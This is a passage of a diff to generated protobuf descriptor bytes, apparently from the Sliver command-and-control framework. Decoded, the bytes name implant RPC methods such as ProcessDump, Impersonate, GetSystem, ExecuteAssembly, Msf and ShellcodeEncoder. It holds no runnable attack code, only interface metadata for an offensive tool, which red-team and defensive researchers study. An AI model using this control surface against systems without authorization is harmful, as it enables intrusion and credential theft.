0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, - 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, - 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, - 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, - 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, - 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, - 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, - 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, - 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, - 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, - 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, - 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, - 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, - 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, - 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, - 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, - 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, - 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, + 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, + 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, + 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, + 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, + 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, + 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, + 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, + 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, + 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, + 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, + 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, + 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, + 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, + 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, + 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, + 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, + 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, + 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, + 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, + 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, + 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, + 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, + 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, + 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, + 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, + 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, + 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, + 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, + 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, + 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 